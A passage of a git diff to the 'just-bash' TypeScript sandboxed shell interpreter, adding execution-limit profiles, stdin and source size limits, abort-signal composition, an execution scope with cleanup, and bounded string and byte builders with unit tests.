"/", + env: env.getEnv(), + }); + const secondCd = await env.exec("cd ../new", { + cwd: firstCd.env.PWD, + env: firstCd.env, + }); + + const result = await env.exec("cd -", { + cwd: secondCd.env.PWD, + env: secondCd.env, + }); + + expect(result.stdout).toBe("/tmp/old\n"); + expect(result.env.PWD).toBe("/tmp/old"); + expect(result.env.OLDPWD).toBe("/tmp/new"); + }); }); describe("error handling", () => { diff --git a/packages/just-bash/src/Bash.ts b/packages/just-bash/src/Bash.ts index f8100799..b565e3c5 100644 --- a/packages/just-bash/src/Bash.ts +++ b/packages/just-bash/src/Bash.ts @@ -11,6 +11,8 @@ import type { FunctionDefNode } from "./ast/types.js"; // Eagerly import timers to capture references before defense-in-depth patches them import "./timers.js"; +import { combineAbortSignals } from "./abort-signals.js"; +import { utf8ByteLength } from "./commands/printf/escapes.js"; import { type CommandName, createJavaScriptCommands, @@ -24,6 +26,7 @@ import { isLazyCommand, } from "./custom-commands.js"; import { encodeUtf8ToBytes, latin1FromBytes } from "./encoding.js"; +import { ExecutionScope } from "./execution-scope.js"; import { InMemoryFs } from "./fs/in-memory-fs/in-memory-fs.js"; import { initFilesystem } from "./fs/init.js"; import type { IFileSystem, InitialFiles } from "./fs/interface.js"; @@ -40,6 +43,7 @@ import { ExitError, PosixFatalError, } from "./interpreter/errors.js"; +import { cloneArrays } from "./interpreter/helpers/array.js"; import { buildBashopts, buildShellopts, @@ -49,7 +53,11 @@ import { type InterpreterOptions, type InterpreterState, } from "./interpreter/index.js"; -import { type ExecutionLimits, resolveLimits } from "./limits.js"; +import { + type ExecutionLimitProfile, + type ExecutionLimits, + resolveLimits, +} from "./limits.js"; import { createSecureFetch, type NetworkConfig, @@ -62,6 +70,7 @@ import { SecurityViolationError, } from "./security/defense-in-depth-box.js"; import type { DefenseInDepthConfig } from "./security/types.js"; +import { assertSourceWithinLimit } from "./source-limit.js"; import { serialize } from "./transform/serialize.js"; import type { BashTransformResult, @@ -75,7 +84,7 @@ import type { TraceCallback, } from "./types.js"; -export type { ExecutionLimits } from "./limits.js"; +export type { ExecutionLimitProfile, ExecutionLimits } from "./limits.js"; /** * Logger interface for Bash execution logging. @@ -121,6 +130,8 @@ export interface BashOptions { * See ExecutionLimits interface for available options. */ executionLimits?: ExecutionLimits; + /** Named execution-limit preset. Defaults to compatibility-oriented `normal`. */ + executionLimitProfile?: ExecutionLimitProfile; /** * @deprecated Use executionLimits.maxCallDepth instead */ @@ -211,8 +222,8 @@ export interface BashOptions { * * @example * ```ts - * // Simple enable - * const bash = new Bash({ defenseInDepth: true }); + * // Capability-detect the strongest available protection. + * const bash = new Bash({ defenseInDepth: { enabled: "auto" } }); * * // With custom configuration * const bash = new Bash({ @@ -223,6 +234,9 @@ export interface BashOptions { * }, * }); * ``` + * Node versions without context-aware ESM loader hooks retain the scoped + * best-effort controls and report the unavailable loader capability in + * DefenseInDepthStatus. */ defenseInDepth?: DefenseInDepthConfig | boolean; /** @@ -312,7 +326,29 @@ export class Bash { private state: InterpreterState; constructor(options: BashOptions = {}) { - const fs = options.fs ?? new InMemoryFs(options.files); + // Resolve limits before constructing the default filesystem so retained + // virtual storage follows the same host-selected policy as execution. + this.limits = resolveLimits( + { + ...options.executionLimits, + // Support deprecated individual options (they override executionLimits if set) + ...(options.maxCallDepth !== undefined && { + maxCallDepth: options.maxCallDepth, + }), + ...(options.maxCommandCount !== undefined && { + maxCommandCount: options.maxCommandCount, + }), + ...(options.maxLoopIterations !== undefined && { + maxLoopIterations: options.maxLoopIterations, + }), + }, + options.executionLimitProfile, + ); + const fs = + options.fs ?? + new InMemoryFs(options.files, { + maxTotalBytes: this.limits.maxFileSystemBytes, + }); this.fs = fs; this.useDefaultLayout = !options.cwd && !options.files; @@ -333,21 +369,6 @@ export class Bash { ...Object.entries(options.env ?? {}), ]); - // Resolve limits: new executionLimits takes precedence, then deprecated individual options - this.limits = resolveLimits({ - ...options.executionLimits, - // Support deprecated individual options (they override executionLimits if set) - ...(options.maxCallDepth !== undefined && { - maxCallDepth: options.maxCallDepth, - }), - ...(options.maxCommandCount !== undefined && { - maxCommandCount: options.maxCommandCount, - }), - ...(options.maxLoopIterations !== undefined && { - maxLoopIterations: options.maxLoopIterations, - }), - }); - // Create secure fetch: prefer explicit fetch, fall back to network config if (options.fetch) { this.secureFetch = options.fetch; @@ -364,7 +385,8 @@ export class Bash { // Store logger if provided this.logger = options.logger; - // Defense-in-depth defaults to enabled + // Preserve the historical enabled default. Older supported Nodes use the + // strongest scoped controls they expose and report loader-hook capability. this.defenseInDepthConfig = options.defenseInDepth ?? true; // Store coverage writer if provided (for fuzzing instrumentation) @@ -373,6 +395,7 @@ export class Bash { // Initialize interpreter state this.state = { env, + arrays: new Map(), cwd, previousDir: "/home/user", functions: new Map(), @@ -459,13 +482,13 @@ export class Bash { } for (const cmd of createLazyCommands(options.commands)) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } // Register network commands when fetch or network is configured if (options.fetch || options.network) { for (const cmd of createNetworkCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } } @@ -473,7 +496,7 @@ export class Bash { // Python introduces additional security surface (arbitrary code execution) if (options.python) { for (const cmd of createPythonCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } } @@ -486,7 +509,7 @@ export class Bash { // is provided (the hook is meaningless without js-exec). if (options.javascript || jsConfig.invokeTool) { for (const cmd of createJavaScriptCommands()) { - this.registerCommand(cmd); + this.registerBundledCommand(cmd); } if (jsConfig.bootstrap) { this.jsBootstrapCode = jsConfig.bootstrap; @@ -500,19 +523,34 @@ export class Bash { if (options.customCommands) { for (const cmd of options.customCommands) { if (isLazyCommand(cmd)) { - this.registerCommand(createLazyCustomCommand(cmd)); + const command = createLazyCustomCommand(cmd); + this.registerCommandInternal(command, true); } else { - this.registerCommand({ - ...cmd, - trusted: cmd.trusted ?? true, - }); + this.registerCommandInternal(cmd, true); } } } } registerCommand(command: Command): void { - this.commands.set(command.name, command); + this.registerCommandInternal(command, true); + } + + private registerBundledCommand(command: Command): void { + this.registerCommandInternal(command, false); + } + + private registerCommandInternal( + command: Command, + isExtension: boolean, + trusted = isExtension ? (command.trusted ?? true) : command.trusted, + ): void { + this.commands.set(command.name, { + name: command.name, + trusted, + internalIsExtension: isExtension, + execute: (args, context) => command.execute(args, context), + }); // Create command stubs in /bin and /usr/bin for PATH-based resolution // Works for both InMemoryFs and OverlayFs (both have writeFileSync) // Commands are registered to both locations like real Linux systems @@ -559,254 +597,342 @@ export class Bash { commandLine: string, options?: ExecOptions, ): Promise { - if (this.state.callDepth === 0) { - this.state.commandCount = 0; + const executionScope = new ExecutionScope(this.limits, options?.signal); + let result: BashExecResult; + try { + result = await this.execInScope( + commandLine, + options, + executionScope, + 0, + options?.signal, + false, // stdinAlreadyAccounted + false, // defer result logging until cleanup finalizes the result + ); + } catch (error) { + // Cleanup must not hide the original execution failure. + try { + await executionScope.close(); + } catch { + // The execution error remains the more useful and compatible failure. + } + throw error; } - this.state.commandCount++; - if (this.state.commandCount > this.limits.maxCommandCount) { - return { - stdout: "", - stderr: `bash: maximum command count (${this.limits.maxCommandCount}) exceeded (possible infinite loop). Increase with executionLimits.maxCommandCount option.\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), + let finalResult = result; + try { + await executionScope.close(); + } catch { + // Cleanup callbacks are extension code. Convert their failure into a + // shell result so Bash.exec() keeps its result-oriented error contract. + finalResult = { + ...result, + stderr: `${result.stderr}bash: execution cleanup failed\n`, + exitCode: 126, }; } + return commandLine.trim() ? this.logResult(finalResult) : finalResult; + } - if (!commandLine.trim()) { - return { - stdout: "", - stderr: "", - exitCode: 0, - env: mapToRecordWithExtras(this.state.env, options?.env), - }; - } + private async execInScope( + commandLine: string, + options: ExecOptions | undefined, + executionScope: ExecutionScope, + execDepth: number, + parentSignal: AbortSignal | undefined, + stdinAlreadyAccounted = false, + shouldLogResult = true, + ): Promise { + const finishResult = (result: BashExecResult): BashExecResult => + shouldLogResult ? this.logResult(result) : result; + const combinedAbort = combineAbortSignals(parentSignal, options?.signal); + const effectiveOptions = options + ? { ...options, signal: combinedAbort.signal } + : { signal: combinedAbort.signal }; - // Log command execution - this.logger?.info("exec", { command: commandLine }); - - // Each exec call gets an isolated state copy - like starting a new shell - // This ensures exec calls never interfere with each other - const effectiveCwd = options?.cwd ?? this.state.cwd; - - // Determine PWD and cwd for the new shell context - // If PWD is in the provided env, use it (inherited from parent) - // If PWD is NOT in the provided env (was unset), use realpath to get physical path - // This matches bash behavior: when PWD is unset and a new shell starts, - // it initializes PWD (and cwd) using realpath (resolving symlinks) - let newPwd: string | undefined; - let newCwd = effectiveCwd; - if (options?.cwd) { - if (options.env && "PWD" in options.env) { - // PWD explicitly provided - use it - newPwd = options.env.PWD; - } else if (options?.env && !("PWD" in options.env)) { - // PWD not in provided env - use realpath to resolve symlinks - // This also updates cwd since the shell determines its position from scratch - try { - newPwd = await this.fs.realpath(effectiveCwd); - newCwd = newPwd; // Both PWD and cwd should be the physical path - } catch { - // Fallback to logical path if realpath fails + try { + executionScope.assertExecDepth(execDepth); + + // Reject oversized source before trim/normalization/parser copies it. + // Source, expanded string values, and stdin have distinct budgets so a + // host can constrain any one without unexpectedly disabling the others. + assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes); + + if (!commandLine.trim()) { + return { + stdout: "", + stderr: "", + exitCode: 0, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }; + } + + // Log command execution + this.logger?.info("exec", { command: commandLine }); + + // Each exec call gets an isolated state copy - like starting a new shell + // This ensures exec calls never interfere with each other + const effectiveCwd = effectiveOptions.cwd ?? this.state.cwd; + + // Determine PWD and cwd for the new shell context + // If PWD is in the provided env, use it (inherited from parent) + // If PWD is NOT in the provided env (was unset), use realpath to get physical path + // This matches bash behavior: when PWD is unset and a new shell starts, + // it initializes PWD (and cwd) using realpath (resolving symlinks) + let newPwd: string | undefined; + let newCwd = effectiveCwd; + if (effectiveOptions.cwd) { + if (effectiveOptions.env && "PWD" in effectiveOptions.env) { + // PWD explicitly provided - use it + newPwd = effectiveOptions.env.PWD; + } else if (effectiveOptions.env && !("PWD" in effectiveOptions.env)) { + // PWD not in provided env - use realpath to resolve symlinks + // This also updates cwd since the shell determines its position from scratch + try { + newPwd = await this.fs.realpath(effectiveCwd); + newCwd = newPwd; // Both PWD and cwd should be the physical path + } catch { + // Fallback to logical path if realpath fails + newPwd = effectiveCwd; + } + } else { + // No env provided - use logical cwd newPwd = effectiveCwd; } - } else { - // No env provided - use logical cwd - newPwd = effectiveCwd; } - } - // Create environment for this execution - const execEnv = options?.replaceEnv - ? new Map() - : new Map(this.state.env); - // Merge in options.env - if (options?.env) { - for (const [key, value] of Object.entries(options.env)) { - execEnv.set(key, value); + // Create environment for this execution + const execEnv = effectiveOptions.replaceEnv + ? new Map() + : new Map(this.state.env); + // Merge in options.env + if (effectiveOptions.env) { + for (const [key, value] of Object.entries(effectiveOptions.env)) { + execEnv.set(key, value); + } + } + // Update PWD when cwd option is provided + if (newPwd !== undefined) { + execEnv.set("PWD", newPwd); } - } - // Update PWD when cwd option is provided - if (newPwd !== undefined) { - execEnv.set("PWD", newPwd); - } - const execState: InterpreterState = { - ...this.state, - env: execEnv, - cwd: newCwd, - // Deep copy mutable objects to prevent interference - functions: new Map(this.state.functions), - localScopes: [...this.state.localScopes], - options: { ...this.state.options }, - // Share hashTable reference - it should persist across exec calls - hashTable: this.state.hashTable, - // Pass stdin through to commands (for bash -c with piped input). - // The pipeline contract is "stdin is a latin1-shaped byte buffer"; - // text-shaped user input (the default) needs UTF-8 encoding here - // so byte consumers (`wc -c`, `base64`) inside the script see real - // UTF-8 bytes. Callers that already prepared a byte buffer (e.g. - // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough - // via `stdinKind: "bytes"`. - groupStdin: encodeStdinForPipeline(options?.stdin, options?.stdinKind), - // Cooperative cancellation signal (used by timeout command) - signal: options?.signal, - // Extra arguments injected directly into first command's arg list - extraArgs: options?.args, - }; + const execState: InterpreterState = { + ...this.state, + env: execEnv, + arrays: effectiveOptions.replaceEnv + ? new Map() + : cloneArrays(this.state.arrays), + cwd: newCwd, + previousDir: effectiveOptions.env?.OLDPWD ?? this.state.previousDir, + // Deep copy mutable objects to prevent interference + functions: new Map(this.state.functions), + localScopes: [...this.state.localScopes], + options: { ...this.state.options }, + // Share hashTable reference - it should persist across exec calls + hashTable: this.state.hashTable, + // Pass stdin through to commands (for bash -c with piped input). + // The pipeline contract is "stdin is a latin1-shaped byte buffer"; + // text-shaped user input (the default) needs UTF-8 encoding here + // so byte consumers (`wc -c`, `base64`) inside the script see real + // UTF-8 bytes. Callers that already prepared a byte buffer (e.g. + // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough + // via `stdinKind: "bytes"`. + groupStdin: encodeStdinForPipeline( + effectiveOptions.stdin, + effectiveOptions.stdinKind, + this.limits.maxInputBytes, + this.limits.maxStringLength, + executionScope, + stdinAlreadyAccounted, + ), + // Cooperative cancellation signal (used by timeout command) + signal: effectiveOptions.signal, + // Extra arguments injected directly into first command's arg list + extraArgs: effectiveOptions.args, + }; - // Normalize indented multi-line scripts (unless rawScript is true) - // This allows writing indented bash scripts in template literals - // BUT we must preserve whitespace inside heredoc content - let normalized = commandLine; - if (!options?.rawScript) { - normalized = normalizeScript(commandLine); - } + // Normalize indented multi-line scripts (unless rawScript is true) + // This allows writing indented bash scripts in template literals + // BUT we must preserve whitespace inside heredoc content + let normalized = commandLine; + if (!effectiveOptions.rawScript) { + normalized = normalizeScript(commandLine); + } - // Activate defense-in-depth box if configured - // This wraps execution in AsyncLocalStorage context for context-aware blocking - const defenseBox = this.defenseInDepthConfig - ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig) - : null; - const defenseHandle = defenseBox?.activate(); + // Activate defense-in-depth box if configured + // This wraps execution in AsyncLocalStorage context for context-aware blocking + const defenseBox = this.defenseInDepthConfig + ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig) + : null; + const defenseHandle = defenseBox?.activate(); - try { - // Run execution inside defense-in-depth context if enabled - const executeScript = async (): Promise => { - let ast = parse(normalized, { - maxHeredocSize: this.limits.maxHeredocSize, - }); + try { + // Run execution inside defense-in-depth context if enabled + const executeScript = async (): Promise => { + let ast = parse(normalized, { + maxHeredocSize: this.limits.maxHeredocSize, + }); - // Apply transform plugins if any are registered. - // Keep metadata null-prototype even when plugins contribute dynamic keys. - let metadata: ReturnType | undefined; - if (this.transformPlugins.length > 0) { - let meta: Record = Object.create(null); - for (const plugin of this.transformPlugins) { - const pluginResult = plugin.transform({ ast, metadata: meta }); - ast = pluginResult.ast; - if (pluginResult.metadata) { - meta = mergeToNullPrototype(meta, pluginResult.metadata); + // Apply transform plugins if any are registered. + // Keep metadata null-prototype even when plugins contribute dynamic keys. + let metadata: ReturnType | undefined; + if (this.transformPlugins.length > 0) { + let meta: Record = Object.create(null); + for (const plugin of this.transformPlugins) { + const pluginResult = plugin.transform({ ast, metadata: meta }); + ast = pluginResult.ast; + if (pluginResult.metadata) { + meta = mergeToNullPrototype(meta, pluginResult.metadata); + } } + metadata = meta; } - metadata = meta; - } - // Create interpreter with appropriate state - const interpreterOptions: InterpreterOptions = { - fs: this.fs, - commands: this.commands, - limits: this.limits, - exec: this.exec.bind(this), - fetch: this.secureFetch, - sleep: this.sleepFn, - trace: this.traceFn, - coverage: this.coverageWriter, - requireDefenseContext: defenseBox?.isEnabled() === true, - jsBootstrapCode: this.jsBootstrapCode, - invokeTool: this.invokeToolFn, + // Create interpreter with appropriate state + const interpreterOptions: InterpreterOptions = { + fs: this.fs, + commands: this.commands, + limits: this.limits, + executionScope, + exec: (script, childOptions, childStdinAlreadyAccounted = false) => + this.execInScope( + script, + childOptions, + executionScope, + execDepth + 1, + effectiveOptions.signal, + childStdinAlreadyAccounted, + ), + fetch: this.secureFetch, + sleep: this.sleepFn, + trace: this.traceFn, + coverage: this.coverageWriter, + requireDefenseContext: defenseBox?.isEnabled() === true, + jsBootstrapCode: this.jsBootstrapCode, + invokeTool: this.invokeToolFn, + }; + + const interpreter = new Interpreter(interpreterOptions, execState); + const result = await interpreter.executeScript(ast); + // Interpreter always sets env, assert it for type safety + const execResult = result as BashExecResult; + if (metadata) { + execResult.metadata = metadata; + } + return finishResult(execResult); }; - const interpreter = new Interpreter(interpreterOptions, execState); - const result = await interpreter.executeScript(ast); - // Interpreter always sets env, assert it for type safety - const execResult = result as BashExecResult; - if (metadata) { - execResult.metadata = metadata; + // If defense-in-depth is enabled, run within the protected context + if (defenseHandle) { + return await defenseHandle.run(executeScript); } - return this.logResult(execResult); - }; - - // If defense-in-depth is enabled, run within the protected context - if (defenseHandle) { - return await defenseHandle.run(executeScript); + return await executeScript(); + } catch (error) { + // ExitError propagates from 'exit' builtin (including via eval/source) + if (error instanceof ExitError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: error.exitCode, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // PosixFatalError propagates from special builtins in POSIX mode + if (error instanceof PosixFatalError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: error.exitCode, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + if (error instanceof ArithmeticError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation) + if (error instanceof ExecutionAbortedError) { + return finishResult({ + stdout: error.stdout, + stderr: error.stderr, + exitCode: 124, // Same as timeout exit code + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // ExecutionLimitError is thrown when our conservative limits are exceeded + // (command count, recursion depth, loop iterations) + if (error instanceof ExecutionLimitError) { + return finishResult({ + stdout: error.stdout, + stderr: sanitizeErrorMessage(error.stderr), + exitCode: ExecutionLimitError.EXIT_CODE, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // SecurityViolationError is thrown when defense-in-depth detects a blocked operation + if (error instanceof SecurityViolationError) { + return finishResult({ + stdout: "", + stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + if ((error as ParseException).name === "ParseException") { + return finishResult({ + stdout: "", + stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`, + exitCode: 2, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // LexerError is thrown for lexer-level issues like unterminated quotes + if (error instanceof LexerError) { + return finishResult({ + stdout: "", + stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 2, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + // RangeError occurs when JavaScript call stack is exceeded (deep recursion) + if (error instanceof RangeError) { + return finishResult({ + stdout: "", + stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, + exitCode: 1, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), + }); + } + throw error; + } finally { + // Always deactivate defense-in-depth box when done + defenseHandle?.deactivate(); } - return await executeScript(); } catch (error) { - // ExitError propagates from 'exit' builtin (including via eval/source) - if (error instanceof ExitError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: error.exitCode, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // PosixFatalError propagates from special builtins in POSIX mode - if (error instanceof PosixFatalError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: error.exitCode, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - if (error instanceof ArithmeticError) { - return this.logResult({ - stdout: error.stdout, - stderr: error.stderr, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation) if (error instanceof ExecutionAbortedError) { - return this.logResult({ + return finishResult({ stdout: error.stdout, stderr: error.stderr, - exitCode: 124, // Same as timeout exit code - env: mapToRecordWithExtras(this.state.env, options?.env), + exitCode: 124, + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), }); } - // ExecutionLimitError is thrown when our conservative limits are exceeded - // (command count, recursion depth, loop iterations) if (error instanceof ExecutionLimitError) { - return this.logResult({ + return finishResult({ stdout: error.stdout, stderr: sanitizeErrorMessage(error.stderr), exitCode: ExecutionLimitError.EXIT_CODE, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // SecurityViolationError is thrown when defense-in-depth detects a blocked operation - if (error instanceof SecurityViolationError) { - return this.logResult({ - stdout: "", - stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - if ((error as ParseException).name === "ParseException") { - return this.logResult({ - stdout: "", - stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`, - exitCode: 2, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // LexerError is thrown for lexer-level issues like unterminated quotes - if (error instanceof LexerError) { - return this.logResult({ - stdout: "", - stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 2, - env: mapToRecordWithExtras(this.state.env, options?.env), - }); - } - // RangeError occurs when JavaScript call stack is exceeded (deep recursion) - if (error instanceof RangeError) { - return this.logResult({ - stdout: "", - stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`, - exitCode: 1, - env: mapToRecordWithExtras(this.state.env, options?.env), + env: mapToRecordWithExtras(this.state.env, effectiveOptions.env), }); } throw error; } finally { - // Always deactivate defense-in-depth box when done - defenseHandle?.deactivate(); + combinedAbort.cleanup(); } } @@ -839,6 +965,7 @@ export class Bash { } transform(commandLine: string): BashTransformResult { + assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes); const normalized = normalizeScript(commandLine); let ast = parse(normalized, { maxHeredocSize: this.limits.maxHeredocSize, @@ -1041,8 +1168,20 @@ function decodeBinaryToUtf8(s: string): string { function encodeStdinForPipeline( stdin: string | undefined, kind: "text" | "bytes" | undefined, + maxInputBytes: number, + maxStringLength: number, + executionScope: ExecutionScope, + alreadyAccounted: boolean, ): string | undefined { if (stdin === undefined) return undefined; + const inputBytes = kind === "bytes" ? stdin.length : utf8ByteLength(stdin); + if (inputBytes > maxInputBytes || inputBytes > maxStringLength) { + throw new ExecutionLimitError( + `stdin size limit exceeded (${Math.min(maxInputBytes, maxStringLength)} bytes)`, + "string_length", + ); + } + if (!alreadyAccounted) executionScope.consumeInput(inputBytes, "stdin"); if (kind === "bytes") return stdin; return latin1FromBytes(encodeUtf8ToBytes(stdin)); } diff --git a/packages/just-bash/src/abort-signals.ts b/packages/just-bash/src/abort-signals.ts new file mode 100644 index 00000000..6a171bbb --- /dev/null +++ b/packages/just-bash/src/abort-signals.ts @@ -0,0 +1,47 @@ +export interface CombinedAbortSignal { + signal: AbortSignal | undefined; + cleanup(): void; +} + +/** + * Compose abort signals without relying on AbortSignal.any(), which is not + * available in every supported runtime. The first abort reason wins and all + * listeners are removable by the caller's finally block. + */ +export function combineAbortSignals( + ...signals: Array +): CombinedAbortSignal { + const uniqueSignals = [ + ...new Set( + signals.filter((signal): signal is AbortSignal => signal !== undefined), + ), + ]; + if (uniqueSignals.length === 0) { + return { signal: undefined, cleanup() {} }; + } + if (uniqueSignals.length === 1) { + return { signal: uniqueSignals[0], cleanup() {} }; + } + + const controller = new AbortController(); + const listeners: Array void]> = []; + + for (const signal of uniqueSignals) { + if (signal.aborted) { + controller.abort(signal.reason); + break; + } + const onAbort = () => controller.abort(signal.reason); + signal.addEventListener("abort", onAbort, { once: true }); + listeners.push([signal, onAbort]); + } + + return { + signal: controller.signal, + cleanup() { + for (const [signal, listener] of listeners) { + signal.removeEventListener("abort", listener); + } + }, + }; +} diff --git a/packages/just-bash/src/bounded-builder.test.ts b/packages/just-bash/src/bounded-builder.test.ts new file mode 100644 index 00000000..caf7b731 --- /dev/null +++ b/packages/just-bash/src/bounded-builder.test.ts @@ -0,0 +1,74 @@ +import { describe, expect, it } from "vitest"; +import { + BoundedByteBuilder, + BoundedStringBuilder, + boundedJoin, + boundedRepeat, + checkedAdd, + checkedMultiply, +} from "./bounded-builder.js"; +import { ExecutionLimitError } from "./interpreter/errors.js"; + +describe("bounded construction", () => { + it("rejects invalid capacities before accepting data", () => { + expect(() => new BoundedStringBuilder(Number.NaN, "test")).toThrow( + ExecutionLimitError, + ); + expect(() => new BoundedByteBuilder(-1, "test")).toThrow( + ExecutionLimitError, + ); + }); + + it("counts UTF-8 before appending", () => { + const builder = new BoundedStringBuilder(4, "test"); + builder.append("é").append("é"); + + expect(builder.byteLength).toBe(4); + expect(builder.build()).toBe("éé"); + expect(() => builder.append("x")).toThrow(ExecutionLimitError); + }); + + it("rejects repeat before materializing it", () => { + const builder = new BoundedStringBuilder(8, "test"); + + expect(() => builder.repeat("é", 5)).toThrow(ExecutionLimitError); + expect(builder.byteLength).toBe(0); + expect(builder.build()).toBe(""); + }); + + it("can reserve capacity for framing emitted by the caller", () => { + const builder = new BoundedStringBuilder(4, "test", undefined, 1); + builder.append("abc"); + + expect(builder.byteLength).toBe(3); + expect(builder.remainingBytes).toBe(0); + expect(() => builder.append("d")).toThrow(ExecutionLimitError); + }); + + it("assembles byte chunks within the configured bound", () => { + const builder = new BoundedByteBuilder(4, "test"); + builder.append(Uint8Array.of(1, 2)).append(Uint8Array.of(3, 4)); + + expect(builder.build()).toEqual(Uint8Array.of(1, 2, 3, 4)); + expect(() => builder.append(Uint8Array.of(5))).toThrow(ExecutionLimitError); + }); + + it("rejects unsafe arithmetic before construction", () => { + expect(() => checkedAdd(Number.MAX_SAFE_INTEGER, 1, "test")).toThrow( + ExecutionLimitError, + ); + expect(() => checkedMultiply(Number.MAX_SAFE_INTEGER, 2, "test")).toThrow( + ExecutionLimitError, + ); + expect(checkedMultiply(7, 6, "test")).toBe(42); + }); + + it("provides guarded repeat and join helpers", () => { + expect(boundedRepeat("é", 2, 4, "test")).toBe("éé"); + expect(() => boundedRepeat("é", 3, 4, "test")).toThrow(ExecutionLimitError); + expect(boundedJoin(["a", "é"], ",", 4, "test")).toBe("a,é"); + expect(() => boundedJoin(["a", "é"], ",", 3, "test")).toThrow( + ExecutionLimitError, + ); + }); +}); diff --git a/packages/just-bash/src/bounded-builder.ts b/packages/just-bash/src/bounded-builder.ts new file mode 100644 index 00000000..56920004 --- /dev/null +++ b/packages/just-bash/src/bounded-builder.ts @@ -0,0 +1,182 @@ +import { utf8ByteLength } from "./encoding.js"; +import { ExecutionLimitError } from "./interpreter/errors.js"; + +function assertBoundedCount(count: number, label: string): void { + if (!Number.isSafeInteger(count) || count < 0) { + throw new ExecutionLimitError( + `${label}: invalid bounded allocation count`, + "array_elements", + ); + } +} + +function allocationError(label: string): ExecutionLimitError { + return new ExecutionLimitError( + `${label}: invalid bounded allocation count`, + "array_elements", + ); +} + +/** Add allocation counts without permitting unsafe-integer wraparound. */ +export function checkedAdd(left: number, right: number, label: string): number { + assertBoundedCount(left, label); + assertBoundedCount(right, label); + const result = left + right; + if (!Number.isSafeInteger(result)) throw allocationError(label); + return result; +} + +/** Multiply allocation counts without permitting overflow or invalid inputs. */ +export function checkedMultiply( + left: number, + right: number, + label: string, +): number { + assertBoundedCount(left, label); + assertBoundedCount(right, label); + if (left !== 0 && right > Math.floor(Number.MAX_SAFE_INTEGER / left)) { + throw allocationError(label); + } + return left * right; +} + +/** Repeat only after proving that the resulting UTF-8 byte size is bounded. */ +export function boundedRepeat( + value: string, + count: number, + maxBytes: number, + label: string, +): string { + const builder = new BoundedStringBuilder(maxBytes, label); + builder.repeat(value, count); + return builder.build(); +} + +/** Join only after charging every value and separator before construction. */ +export function boundedJoin( + values: readonly string[], + separator: string, + maxBytes: number, + label: string, +): string { + const builder = new BoundedStringBuilder(maxBytes, label); + for (let index = 0; index < values.length; index++) { + if (index > 0) builder.append(separator); + builder.append(values[index]); + } + return builder.build(); +} + +export class BoundedStringBuilder { + private readonly chunks: string[] = []; + private usedBytes = 0; + + constructor( + private readonly maxBytes: number, + private readonly label: string, + private readonly createLimitError: + | (() => ExecutionLimitError) + | undefined = undefined, + private readonly reservedBytes = 0, + ) { + assertBoundedCount(maxBytes, label); + assertBoundedCount(reservedBytes, label); + if (reservedBytes > maxBytes) this.fail(); + } + + private fail(): never { + throw ( + this.createLimitError?.() ?? + new ExecutionLimitError( + `${this.label}: output size limit exceeded (${this.maxBytes} bytes)`, + "output_size", + ) + ); + } + + get byteLength(): number { + return this.usedBytes; + } + + get remainingBytes(): number { + return this.maxBytes - this.reservedBytes - this.usedBytes; + } + + reserve(bytes: number): void { + assertBoundedCount(bytes, this.label); + if (bytes > this.remainingBytes) { + this.fail(); + } + } + + append(value: string): this { + const bytes = utf8ByteLength(value); + this.reserve(bytes); + if (value) this.chunks.push(value); + this.usedBytes += bytes; + return this; + } + + repeat(value: string, count: number): this { + assertBoundedCount(count, this.label); + const unitBytes = utf8ByteLength(value); + if ( + unitBytes !== 0 && + count > Math.floor(this.remainingBytes / unitBytes) + ) { + this.fail(); + } + return this.append(value.repeat(count)); + } + + reset(): void { + this.chunks.length = 0; + this.usedBytes = 0; + } + + build(): string { + return this.chunks.join(""); + } +} + +export class BoundedByteBuilder { + private readonly chunks: Uint8Array[] = []; + private usedBytes = 0; + + constructor( + private readonly maxBytes: number, + private readonly label: string, + ) { + assertBoundedCount(maxBytes, label); + } + + get byteLength(): number { + return this.usedBytes; + } + + get remainingBytes(): number { + return this.maxBytes - this.usedBytes; + } + + 